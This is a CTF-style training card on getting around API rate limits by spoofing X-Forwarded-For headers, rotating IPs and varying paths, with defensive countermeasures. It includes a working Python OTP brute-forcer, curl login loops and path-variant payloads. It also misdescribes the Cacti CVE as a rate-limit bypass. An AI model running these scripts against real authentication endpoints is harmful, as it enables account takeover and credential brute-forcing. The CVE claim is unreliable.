Browse CTFs New CTF Sign in

API Rate Limit Bypass: Request Throttling Circumvention via Header Manipulation and IP Rotation

web_injection_logic Difficulty 1–5 30 min certifiable

Theory

Why This Matters

Rate limit bypass enabled the 2019 Instagram account takeover vulnerability: security researcher Laxman Muthiyah discovered that Instagram's password reset OTP endpoint was rate-limited only client-side, and that submitting requests with different X-Forwarded-For headers rotated the IP seen by the rate limiter, allowing brute-force of 6-digit PINs in bulk. The same pattern appears in credential stuffing attacks: rate limits based on source IP are systematically bypassed by distributing requests across proxy pools. CVE-2022-46169 (Cacti remote code execution) was exploitable without authentication partly because the rate limit protecting the authentication endpoint could be bypassed via X-Forwarded-For header injection. Rate limit bypass converts a brute-force-resistant control into a speed bump.

Core Concept

API rate limiting constrains the number of requests a client can make within a time window. Limits are tracked against an identifier. The vulnerability arises when that identifier is taken from a client-controlled value rather than a server-verified one.

IP-based rate limiting is the most common and weakest form. If the rate limiter uses RemoteAddr (the TCP connection IP), rotating proxy IPs bypasses it. If the rate limiter uses X-Forwarded-For or X-Real-IP header values (trusting the client), a single attacker can forge these headers to appear as a different IP on every request.

Header-based bypass techniques:

  • X-Forwarded-For: 127.0.0.1 — many rate limiters treat loopback as trusted and exempt it from limits.
  • X-Forwarded-For: <rotating IP> — each request appears to come from a different source IP.
  • X-Real-IP: <spoofed IP> — alternative header used by some Nginx configurations.
  • X-Originating-IP, X-Remote-IP, X-Remote-Addr, X-Client-IP, Forwarded: for=<IP> — less common alternatives that some custom rate limiters process.
  • CF-Connecting-IP (Cloudflare), True-Client-IP (Akamai) — CDN-specific headers; may be trusted on non-CDN deployments.

Request variation bypasses:

  • Path variation: /api/v1/login and /api/v1/Login (case) or /api/v1/login/ (trailing slash) may be tracked as different endpoints.
  • Account/key rotation: distributing requests across multiple user accounts, each with its own rate limit bucket.
  • Null byte in path: /api/v1/login%00 may bypass some string-comparison rate limiters.

Rate limit model differences:

  • Fixed window — counts requests in a fixed interval (e.g., 100/minute). Vulnerable to a burst at the window boundary: 100 requests at 11:59:59 + 100 at 12:00:01 = 200 in two seconds.
  • Sliding window — counts requests in a trailing window. More robust but still bypassable via IP rotation.
  • Token bucket / leaky bucket — allows bursts up to bucket capacity; more nuanced to bypass.

Client fingerprinting beyond IP: robust rate limiters use browser fingerprint, API key, user account ID, or a combination. Fingerprinting beyond IP is the correct defense; IP alone is never sufficient.

Technical Deep-Dive

# ── Rate limit bypass via X-Forwarded-For rotation ────────────────────────
import requests, random, itertools

BASE_URL = "https://api.example.com"

def make_ip():
    """Generate a random non-RFC1918 IP for rotation."""
    while True:
        ip = f"{random.randint(1,254)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
        octets = [int(o) for o in ip.split(".")]
        # Exclude RFC1918 ranges
        if octets[0] not in (10, 127, 192, 172):
            return ip

def brute_otp(endpoint, session_token, otp_digits=6):
    """Brute-force a 6-digit OTP via X-Forwarded-For rotation."""
    results = []
    for otp in range(10 ** otp_digits):
        code = str(otp).zfill(otp_digits)
        headers = {
            "Authorization":  f"Bearer {session_token}",
            "X-Forwarded-For": make_ip(),      # New IP per request
            "X-Real-IP":      make_ip(),
            "Content-Type":   "application/json",
        }
        resp = requests.post(
            f"{BASE_URL}{endpoint}",
            json={"code": code},
            headers=headers,
            timeout=10,
        )
        if resp.status_code == 200 and "success" in resp.text.lower():
            print(f"[+] Valid OTP found: {code}")
            return code
        if resp.status_code == 429:
            print(f"[-] Rate limited despite IP rotation at code {code}")
            break
    return None

# ── Detect rate limit mechanism before bypassing ───────────────────────────
def detect_rate_limit(endpoint, n=20):
    """Send n rapid requests; identify at which request a 429 is returned."""
    base_headers = {"Content-Type": "application/json"}
    for i in range(1, n + 1):
        r = requests.post(f"{BASE_URL}{endpoint}", json={"username": "test", "password": "test"},
                          headers=base_headers)
        print(f"  Request {i}: status={r.status_code}")
        if r.status_code == 429:
            print(f"[+] Rate limit triggered at request {i}")
            return i
    print("[-] No rate limit detected in {n} requests")
    return None

# ── Path variation bypass ─────────────────────────────────────────────────
path_variants = [
    "/api/v1/login",
    "/api/v1/Login",
    "/api/v1/login/",
    "/api/v1/login%00",
    "/api/v1/../v1/login",
    "/api/v1/./login",
]

for path in path_variants:
    r = requests.post(f"{BASE_URL}{path}", json={"username": "admin", "password": "wrong"})
    print(f"  {path} → {r.status_code}")
# Burp Intruder setup for X-Forwarded-For bypass
# 1. Capture login request in Burp Proxy
# 2. Send to Intruder → Pitchfork attack type
# 3. Mark password field as position 1
# 4. Add custom header X-Forwarded-For: §IP§ — mark IP as position 2
# 5. Payload set 1: password wordlist
# 6. Payload set 2: generated IPs (use Extension: IP Rotate or generate list)

# Quick header bypass test with curl
for i in $(seq 1 30); do
    FAKE_IP="$((RANDOM % 200 + 10)).$((RANDOM % 255)).$((RANDOM % 255)).$((RANDOM % 254))"
    STATUS=$(curl -s -o /dev/null -w "%{http_code}" -X POST 
        "https://api.example.com/api/auth/login" 
        -H "Content-Type: application/json" 
        -H "X-Forwarded-For: $FAKE_IP" 
        -d '{"username":"admin","password":"test"}')
    echo "Request $i | IP=$FAKE_IP | Status=$STATUS"
done

# Test loopback bypass
curl -s -X POST "https://api.example.com/api/auth/login" 
    -H "X-Forwarded-For: 127.0.0.1" 
    -H "Content-Type: application/json" 
    -d '{"username":"admin","password":"wrong"}'

Security Assessment Methodology

  1. Establish the rate limit baseline — Send rapid repeated requests to the target endpoint (login, OTP, password reset) using a fixed IP. Record the exact request number that triggers a 429 response. Note any Retry-After or X-RateLimit-* headers.
  2. Test X-Forwarded-For bypass — Re-run the same requests adding X-Forwarded-For: 127.0.0.1. If the rate limit counter resets, the limiter trusts this header. Also test X-Real-IP, X-Originating-IP, X-Remote-IP, X-Client-IP, Forwarded: for=127.0.0.1.
  3. Test IP rotation bypass — Send requests with a different random X-Forwarded-For IP on each request (Burp Intruder with IP rotation payload). Observe whether the 429 is reached at the same count or deferred.
  4. Test path variation — Try the endpoint with trailing slash, uppercase characters, null byte, URL-encoded path segments, and . or .. components. Confirm whether each variant shares the same rate limit bucket.
  5. Test account rotation — If multiple test accounts are available, distribute requests across accounts. Confirm whether rate limits are per-account or per-IP.
  6. Document bypass effectiveness and downstream impact — If rate limit bypass enables credential brute-force, calculate the realistic attack time for a 6-digit PIN or common password list. This drives severity scoring.

Defensive Countermeasure — Base rate limits on the authenticated user account ID for authenticated endpoints, not on IP or client-supplied headers. For pre-authentication endpoints (login, OTP, password reset), use multi-factor rate limiting: track by IP (from RemoteAddr, not headers), device fingerprint, and username simultaneously. Never trust X-Forwarded-For unless the request arrives from a known, trusted reverse proxy IP range. Use a CDN or WAF that enforces rate limits at the edge before requests reach the application. Implement account lockout as a defense-in-depth measure independent of rate limiting.

Common Assessment Errors

  • Testing only X-Forwarded-For: 127.0.0.1 — Some rate limiters exempt loopback but still count other forged IPs correctly. Test both loopback bypass and random IP rotation to distinguish the two behaviors.
  • Not measuring the limit before attempting bypass — Without knowing the baseline limit (e.g., 10 requests/minute), it is impossible to confirm a bypass. Always establish the baseline first.
  • Forgetting to test all similar endpoints — A login endpoint may be well-protected; the password reset OTP endpoint on the same application may have no rate limit at all. Test all authentication-adjacent endpoints.
  • Assuming 429 means the bypass failed — A 429 with a 1-second Retry-After is easily automated around. The effective question is whether the limit prevents an attack in practice, not whether a 429 was ever returned.
  • Not checking whether rate limits apply to authenticated endpoints — Sensitive actions (email change, 2FA disable, high-value API calls) often lack rate limits because they are "already authenticated". Test these explicitly.
  • Overlooking application-layer rate limits vs infrastructure limits — A CDN or WAF may enforce limits that are bypassed when accessing the origin directly. Test both the CDN endpoint and any exposed origin IP.

NICE Framework Alignment

Code Knowledge/Skill/Task Statement How This Card Develops It
K0007 Knowledge of authentication, authorization, and access control methods Explains how rate limit mechanisms fail when based on client-controlled identifiers
K0065 Knowledge of policy-based controls for data access Connects rate limit design to access control policy for authentication endpoints
K0070 Knowledge of system and application security threats and vulnerabilities Maps header bypass techniques to the Instagram OTP and Cacti CVE incidents
S0001 Skill in conducting vulnerability scans and recognizing vulnerabilities in security systems Trains baseline measurement, header bypass, and path variation testing
T0028 Conduct and support authorized penetration testing on enterprise networks Provides a tool-explicit methodology using Burp Intruder and curl for bypass confirmation
T0570 Conduct application security assessments Frames rate limit bypass as a required check for authentication and sensitive action endpoints

Further Reading

  • Muthiyah, L. (2019). "How I could have hacked any Instagram account" — laxmanmuthiyah.com (offline reference)
  • OWASP API Security Top 10 2023, API4: Unrestricted Resource Consumption — OWASP Foundation
  • Cloudflare: Rate Limiting Best Practices — Cloudflare Documentation

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.